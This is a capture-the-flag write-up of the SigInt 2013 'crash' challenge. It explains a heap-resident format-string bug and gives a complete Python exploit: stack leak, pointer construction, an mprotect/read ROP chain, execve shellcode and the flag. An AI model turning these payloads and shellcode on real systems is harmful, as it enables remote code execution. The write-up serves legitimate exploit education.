SigInt 2013 - Pwning 400 (crash)

01 July 2013 by mf

Download problem: Here

The gn00bz didn’t play at SigInt, but once the CTF ended, we saw this problem and decided to solve it anyway. The CTF infrastructure was still up, so we could access the live service (and even get a flag).

The problem is a simplistic shell with only a couple of available commands. An obvious-looking format string is present in the echo command.

Description:

A crash won't help you here. Escape this feature-rich shell by whacking it with a reliable exploit.

ssh to xxx:xxx@188.40.147.115

After connecting to the problem, we can issue the following command to trigger the bug:

echo %08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x

Now, let’s proceed and dump a larger portion of the stack. We can see that our format string is not on the stack, but on the heap. This means we cannot use format strings to overwrite arbitrary memory, at least not in a straight-forward fashion.

                                          Ret address
                                              |
    0x00000000     0x08059c27     0x00000004  |  0x00000000
    0x080481f0     0xbfc03208     0x0804934f<-+  0x0870ca7d
    0x0870ca78     0x00000004     0x0804a4e2     0x00000000
    0x080fb070     0x00000001     0x0870ca7d     0x00000000
    0x080481f0     0xbfc03238     0x0804946a     0x0870ca78
    0x00000000     0x00000271     0x00000002     0x0806d0c0
    0x00000000     0x0870ca78     0x0870ca78     0x00000000
 P1 0x0813800c  P2 0x0806d0c0     0x0806cb84     0x00000003<-- argc
 +-[0xbfc032c4  +-[0xbfc032d4     0x00000000     0xf5539250
 |  0x080481f0  |  0x00000000     0x0813800c     0x0806d0c0
 |  0x8064817f  |  0x0d968010     0x00000000     0x00000000
 |  0x00000000  |  0x00000000     0x00000000     0x00000000
 |  0x00000000  |  0x00000000     0x00000000     0x00000003
 |  0x00000000  |  0x00000000     0x08048ef9     0x08049424
 |  0x00000003  |  0xbfc032c4     0x0806d020     0x0806d0c0
 |  0x00000000  |  0xbfc032bc     0x00000000     0x00000003
 +->0xbfc04e54  |  0xbfc04e5a     0xbfc04e5d     0x00000000
    0xbfc04e62<-+  0xbfc04e73     0xbfc04e82     0xbfc04e94
    0xbfc04ea9     0xbfc04f07     0xbfc04f20     0xbfc04f35
    0xbfc04f56     0xbfc04f8a     0xbfc04fdb     0x00000000
    0x00000020     0xb775e414     0x00000021     0xb775e000
    0x00000010     0x078af3fd     0x00000006     0x00001000
    0x00000011     0x00000064     0x00000003     0x08048034
    0x00000004     0x00000020     0x00000005     0x00000006
    0x00000007     0x00000000     0x00000008     0x00000000

Since we cannot plant pointers within the format string itself, we will first need to construct pointers which can then be used to perform arbitrary memory writes.

On the stack we can see the return address as well as the arguments of main(), argc, argv and envp. The stack dump above has argv marked as P1 and envp as P2, and both P1 and P2 are "pointers to a pointer", which is exactly what we need.

Let's get to work. P1 and P2 are always on the same (relative) spot within the stack, and can be accessed with %33\( and %34\), in format-string lingo. The pointers they point to can be reached a bit further down the stack with %65\( and %69\).

Take a look at the following commands sent to the server:

echo %16705c%33$hn%2c%34$hn
echo %16705c%69$hn%257c%65$hn

The first command consists of two writes. The first write will put the value of 0x4141 at the memory location where %33\( points to (pointer is considered as (short *), due to the hn parameter), and the second one will write the value of 0x4143 at the offset where %34\) points to. If you think about it for a bit, you can see that we created two pointers with the first command. In the case of the stack dump above, the position %65\( would hold the value 0xbfc4141 and the position %69\) 0xbfc04143. We have now created two pointers which we can then use with direct parameter access to overwrite any position in memory.

The second command does just that. It takes the two newly-formed pointers, and writes the value of 0x4141 to the first and the value of 0x4242 to the second one.

We now have the means of writing any value to any position in memory, and we do it in the above two steps: 1) create pointer, 2) use pointer. From there, the exploit is easy and involves creating ROP calls.

If you are thinking about trying to merge all of these separate format strings into a single big one, it won't work on glibc/eglibc, so it needs to be split over many different calls.

Here is the full exploit for the problem:

import paramiko

ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

def get_until(sock, delim):
   s = ""
   c = ""
   while not s.endswith(delim):
      c = sock.recv(1)
      s += c
   return s[:-len(delim)].strip()

def get_line(sock):
    return get_until(sock, "\n")

def prep_fmt(num):
   ret = []
   prev = 0

   # If the argument is an int, split it into two half-words
   if type(num) is int:
      num = [(num >> 16) & 0xFFFF, num & 0xFFFF]

   for n in num:
      ret.append((n - prev) & 0xFFFF)
      prev = n
   return ret

def send_cmd(s, cmd, param, wait=True):
   ret = ""
   print "[CMD] %s %s" % (cmd, param)
   s.send("%s %s\n" % (cmd, param))

   # Skip one line (our command echoed back)
   get_line(s)

   if wait:
      # Next line is the response
      ret = get_line(s)
      get_until(s, "Command returned: ")
      print "[RET]", get_line(s)
      get_until(s, "craSH-> ")
   else:
      # Cleanup the socket as best as we can
      s.settimeout(1.0)
      try:
         for x in range(0, 3):
            s.recv(0xFFFF)
      except:
         pass
      s.settimeout(None)

   return ret

client = paramiko.Transport(("188.40.147.115", 22))
client.connect(username="xxxx", password="xxxx")
session = client.open_channel(kind='session')
session.exec_command("")
s = session

# Wait for command line
get_until(s, "craSH-> ")

# Information leak
data = send_cmd(s, "echo ", 80*"%08x.")
data = data[:-1].split(".")
print data

leak = []

for d in data:
   leak.append(int(d, 16))

P1 = 33
P2 = 34

print "0x%x" % leak[P1-1]
print "0x%x" % leak[P2-1]

# Calculate offset to return address on stack
ret = leak[P1-1] - 58*4

# Stack-fixup gadget
#.text:080F7C5B                 add     esp, 140h
#.text:080F7C61                 xor     esi, esi
#.text:080F7C63                 mov     eax, esi
#.text:080F7C65                 pop     esi
#.text:080F7C66                 pop     edi
#.text:080F7C67                 pop     ebp
#.text:080F7C68                 retn

stack_fixup = 0x080F7C5B
mprotect = 0x080A56C0
read = 0x080A3CBA
pppr = 0x080F7C65

# A valid bss, page-aligned pointer. Any pointer will do really.
bss_ptr = 0x0813c000

P3 = 65
P4 = 69

# Pointer to the ROP-part of the stack
base = ret+0x140+12+4

# mprotect(bss_ptr, 0x1000, 7)
fmt = prep_fmt([base & 0xFFFF, (base + 2) & 0xFFFF])
send_cmd(s, "echo", "%%%dc%%%d$hn%%%dc%%%d$hn" % (fmt[0], P1, fmt[1], P2))
fmt = prep_fmt(mprotect)
send_cmd(s, "echo", "%%%dc%%%d$hn%%%dc%%%d$hn" % (fmt[0], P4, fmt[1], P3))
base += 4
fmt = prep_fmt([base & 0xFFFF, (base + 2) & 0xFFFF])
send_cmd(s, "echo", "%%%dc%%%d$hn%%%dc%%%d$hn" % (fmt[0], P1, fmt[1], P2))
fmt = prep_fmt(pppr)
send_cmd(s, "echo", "%%%dc%%%d$hn%%%dc%%%d$hn" % (fmt[0], P4, fmt[1], P3))
base += 4
fmt = prep_fmt([base & 0xFFFF, (base + 2) & 0xFFFF])
send_cmd(s, "echo", "%%%dc%%%d$hn%%%dc%%%d$hn" % (fmt[0], P1, fmt[1], P2))
fmt = prep_fmt(bss_ptr)
send_cmd(s, "echo", "%%%dc%%%d$hn%%%dc%%%d$hn" % (fmt[0], P4, fmt[1], P3))
base += 4
fmt = prep_fmt([base & 0xFFFF, (base + 2) & 0xFFFF])
send_cmd(s, "echo", "%%%dc%%%d$hn%%%dc%%%d$hn" % (fmt[0], P1, fmt[1], P2))
send_cmd(s, "echo", "%%%dc%%%d$n" % (0x1000, P3))
base += 4
fmt = prep_fmt([base & 0xFFFF, (base + 2) & 0xFFFF])
send_cmd(s, "echo", "%%%dc%%%d$hn%%%dc%%%d$hn" % (fmt[0], P1, fmt[1], P2))
send_cmd(s, "echo", "%%%dc%%%d$n" % (7, P3))
base += 4

# read(0, bss_ptr, 100)
fmt = prep_fmt([base & 0xFFFF, (base + 2) & 0xFFFF])
send_cmd(s, "echo", "%%%dc%%%d$hn%%%dc%%%d$hn" % (fmt[0], P1, fmt[1], P2))
fmt = prep_fmt(read)
send_cmd(s, "echo", "%%%dc%%%d$hn%%%dc%%%d$hn" % (fmt[0], P4, fmt[1], P3))
base += 4
fmt = prep_fmt([base & 0xFFFF, (base + 2) & 0xFFFF])
send_cmd(s, "echo", "%%%dc%%%d$hn%%%dc%%%d$hn" % (fmt[0], P1, fmt[1], P2))
fmt = prep_fmt(pppr)
send_cmd(s, "echo", "%%%dc%%%d$hn%%%dc%%%d$hn" % (fmt[0], P4, fmt[1], P3))
base += 4
fmt = prep_fmt([base & 0xFFFF, (base + 2) & 0xFFFF])
send_cmd(s, "echo", "%%%dc%%%d$hn%%%dc%%%d$hn" % (fmt[0], P1, fmt[1], P2))
send_cmd(s, "echo", "%%%d$n" % (P3))
base += 4
fmt = prep_fmt([base & 0xFFFF, (base + 2) & 0xFFFF])
send_cmd(s, "echo", "%%%dc%%%d$hn%%%dc%%%d$hn" % (fmt[0], P1, fmt[1], P2))
fmt = prep_fmt(bss_ptr)
send_cmd(s, "echo", "%%%dc%%%d$hn%%%dc%%%d$hn" % (fmt[0], P4, fmt[1], P3))
base += 4
fmt = prep_fmt([base & 0xFFFF, (base + 2) & 0xFFFF])
send_cmd(s, "echo", "%%%dc%%%d$hn%%%dc%%%d$hn" % (fmt[0], P1, fmt[1], P2))
send_cmd(s, "echo", "%%%dc%%%d$n" % (100, P3))
base += 4

# Jump to the injected shellcode
fmt = prep_fmt([base & 0xFFFF, (base + 2) & 0xFFFF])
send_cmd(s, "echo", "%%%dc%%%d$hn%%%dc%%%d$hn" % (fmt[0], P1, fmt[1], P2))
fmt = prep_fmt(bss_ptr)
send_cmd(s, "echo", "%%%dc%%%d$hn%%%dc%%%d$hn" % (fmt[0], P4, fmt[1], P3))
base += 4

# Overwrite the return address on the stack
fmt = prep_fmt([ret & 0xFFFF, (ret & 0xFFFF) + 2])
send_cmd(s, "echo", "%%%dc%%%d$hn%%%dc%%%d$hn" % (fmt[0], P1, fmt[1], P2))
fmt = prep_fmt(stack_fixup)
send_cmd(s, "echo", "%%%dc%%%d$hn%%%dc%%%d$hn" % (fmt[0], P4, fmt[1], P3), wait=False)

# execve("/bin/sh")
sc = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"

# Pad to size 100, since read() expects it
s.send(sc + (100 - len(sc))*"A")

# And we are done.
s.send("uname -a; /home/flag/get_flag;\n")

while 1:
   data = s.recv(1024)
   if not data:
      break

   print data

Flag: SIGINT_dont_we_all_love_format_string_programming


Comments